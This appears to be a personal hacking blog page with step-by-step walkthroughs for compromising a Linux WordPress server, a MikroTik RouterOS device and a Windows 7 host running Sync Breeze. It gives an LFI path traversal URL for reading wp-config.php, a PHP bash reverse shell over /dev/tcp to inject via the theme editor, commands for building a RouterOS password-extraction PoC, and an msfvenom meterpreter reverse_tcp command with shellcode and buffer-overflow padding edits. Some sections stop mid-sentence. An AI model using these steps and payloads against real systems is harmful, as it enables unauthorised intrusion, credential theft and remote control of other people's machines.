Sulaiman Alhasawi Blog

Server Operating system : Linux version 3.10.0-123.el7.x86_64 Hosted Web application : Wordpress 4.7.2  Vulnerabilities found:  Linux: https://www.exploit-db.com/exploits/35370 ( Local privilege escalation) Wordpress : https://www.exploit-db.com/exploits/39558 (Site import 1.0.1 plugin - LFI/RFI). There could be other vulnerable plugins   How to root the Linux server ? Type this url:  http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php  View source this wp-config.php Find the database password. Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url  -e u Once inside wordpress, go to apperances/editor.  Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the p...

Exploit : https://www.exploit-db.com/exploits/45578 Goal: all you need to get is the password from this exploit, the username is 'admin' Do the following: git clone https://github.com/tenable/routeros   cd routeros/poc/bytheway/ mkdir build cd build cmake .. make ./btw -i target-ip You will get a the password from the exploit password. Connect to the target using ftp/telnet/ssh  Pwn the device      Happy hacking    

Software : Sync Breeze Enterprise v8.9.24 Exploit : https://www.exploit-db.com/exploits/40456 Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) Follow these Steps: Download 40456.py Run the command : m sfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest A payload will be generated (my payload size is 310) Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = "" If your payload has buf = b"" buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit Go to this line: "\x41" * 12292 #subtract/add for payload The script payload is 308 ( #payload size 308 ) so mine is 2 bytes more.  If your payload is 2 or more subtract 2 from 12292 ( 12292 - ...